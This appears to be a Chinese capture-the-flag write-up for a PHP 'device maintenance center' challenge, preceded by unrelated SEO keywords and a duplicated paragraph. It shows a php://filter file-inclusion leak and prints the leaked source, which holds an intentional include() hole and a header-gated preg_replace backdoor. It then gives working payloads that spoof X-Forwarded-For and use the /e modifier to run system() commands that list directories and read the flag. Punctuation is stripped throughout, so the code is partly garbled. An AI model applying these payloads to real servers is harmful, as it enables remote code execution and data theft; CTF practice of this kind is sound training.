酒店网站制作,网页设计与开发实训报告,WordPress管理员登录不了,在线购物商城题目 点了半天只有设备维护中心能进去
御剑扫一下 找到一个css 没什么用
再点击云平台设备维护中心url发生了变化
设备维护中心http://61.147.171.105:65103/index.php?pageindex试一下php伪协议
php://filter/readconvert.base64-encode/resourceindex.php base64解一下…题目 点了半天只有设备维护中心能进去
御剑扫一下 找到一个css 没什么用
再点击云平台设备维护中心url发生了变化
设备维护中心http://61.147.171.105:65103/index.php?pageindex试一下php伪协议
php://filter/readconvert.base64-encode/resourceindex.php base64解一下密 ?php error_reporting(0); session_start(); posix_setuid(1000); ? !DOCTYPE HTML html head meta charsetutf-8 meta namerenderer contentwebkit meta http-equivX-UA-Compatible contentIEedge,chrome1 meta nameviewport contentwidthdevice-width, initial-scale1, maximum-scale1 link relstylesheet hreflayui/css/layui.css mediaall title设备维护中心/title meta charsetutf-8 /head body ul classlayui-nav li classlayui-nav-item layui-thisa href?pageindex云平台设备维护中心/a/li /ul fieldset classlayui-elem-field layui-field-title stylemargin-top: 30px; legend设备列表/legend /fieldset table classlayui-hide idtest/table script typetext/html idswitchTpl !-- 这里的 checked 的状态只是演示 -- input typecheckbox namesex value{{d.id}} lay-skinswitch lay-text开|关 lay-filtercheckDemo {{ d.id1 0003 ? checked : }} /script script srclayui/layui.js charsetutf-8/script script layui.use(table, function() { var table layui.table, form layui.form; table.render({ elem: #test, url: /somrthing.json, cellMinWidth: 80, cols: [ [ { type: numbers }, { type: checkbox }, { field: id, title: ID, width: 100, unresize: true, sort: true }, { field: name, title: 设备名, templet: #nameTpl }, { field: area, title: 区域 }, { field: status, title: 维护状态, minWidth: 120, sort: true }, { field: check, title: 设备开关, width: 85, templet: #switchTpl, unresize: true } ] ], page: true }); }); /script script layui.use(element, function() { var element layui.element; //导航的hover效果、二级菜单等功能需要依赖element模块 //监听导航点击 element.on(nav(demo), function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); /script ?php $page $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ? br /br /br /br / div styletext-align:center p classlead?php echo $page; die();?/p br /br /br /br / ?php }else{ ? br /br /br /br / div styletext-align:center p classlead ?php if (strpos($page, input) 0) { die(); } if (strpos($page, ta:text) 0) { die(); } if (strpos($page, text) 0) { die(); } if ($page index.php) { die(Ok); } include($page); die(); ? /p br /br /br /br / ?php }} //方便的实现输入输出的功能,正在开发中的功能只能内部人员测试 if ($_SERVER[HTTP_X_FORWARDED_FOR] 127.0.0.1) { echo br Welcome My Admin ! br ; $pattern $_GET[pat]; $replacement $_GET[rep]; $subject $_GET[sub]; if (isset($pattern) isset($replacement) isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ? /body /html 代审
最关键的代码是 //方便的实现输入输出的功能,正在开发中的功能只能内部人员测试 if ($_SERVER[HTTP_X_FORWARDED_FOR] 127.0.0.1) { echo br Welcome My Admin ! br ; $pattern $_GET[pat]; $replacement $_GET[rep]; $subject $_GET[sub]; if (isset($pattern) isset($replacement) isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } if ($_SERVER[HTTP_X_FORWARDED_FOR] 127.0.0.1) { 这行代码检查$_SERVER[HTTP_X_FORWARDED_FOR]的值是否等于127.0.0.1。$_SERVER是一个超全局数组其中包含了关于当前脚本的信息如头信息header、路径path和脚本位置script locations等。HTTP_X_FORWARDED_FOR是一个常见的HTTP头通常用于表示HTTP请求的来源IP地址尤其在反向代理场景中。然而这个头可以被伪造因此不应该直接用于安全相关的检查 echo br Welcome My Admin ! br ; 如果上面的条件满足这行代码会输出一个带有HTML换行标签的欢迎消息。 $pattern $_GET[pat]; $replacement $_GET[rep]; $subject $_GET[sub]; 这三行代码从$_GET超全局数组中获取三个参数pat、rep和sub并将它们分别赋值给变量$pattern、$replacement和$subject。$_GET用于收集表单数据在HTML表单中使用methodget或者URL中发送的数据。 if (isset($pattern) isset($replacement) isset($subject)) { 行代码检查上面获取的三个变量是否都已经被设置。isset()函数用于检测变量是否已设置并且非NULL preg_replace($pattern, $replacement, $subject); 如果上面的条件满足这行代码会执行preg_replace函数。preg_replace函数用于执行一个正则表达式的搜索和替换。在这个例子中它会使用$pattern作为正则表达式模式$replacement作为替换字符串并在$subject字符串中进行搜索和替换。需要注意的是这行代码的结果并没有被保存或使用所以实际上替换操作并没有产生任何效果。如果你想看到替换后的结果你需要将preg_replace的结果赋值给一个变量例如$result preg_replace($pattern, $replacement, $subject); }else{ die(); } 如果$pattern、$replacement或$subject中的任何一个没有被设置这部分代码会执行die()函数它会输出一个消息并终止脚本的执行。在这个例子中die()没有传递任何参数所以它只会输出一个空消息并停止脚本
bp抓包
加入X-Forwarded-For:127.0.0.1 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
构造playload
pat和sub能匹配就行了
注意在bp中不能直接打空格绕过空格可以用%20、%06、代替 ?pat/abc/erepsystem(ls)subasdsadasabc ?pat/abc/erepsystem(find-name*flag*)subasdsadasabc pat/abc/erepsystem(cd./s3chahahaDir/flag%26%26ls)subasdsadasabc pat/abc/erepsystem(cat./s3chahahaDir/flag/flag.php)subasdsadasabc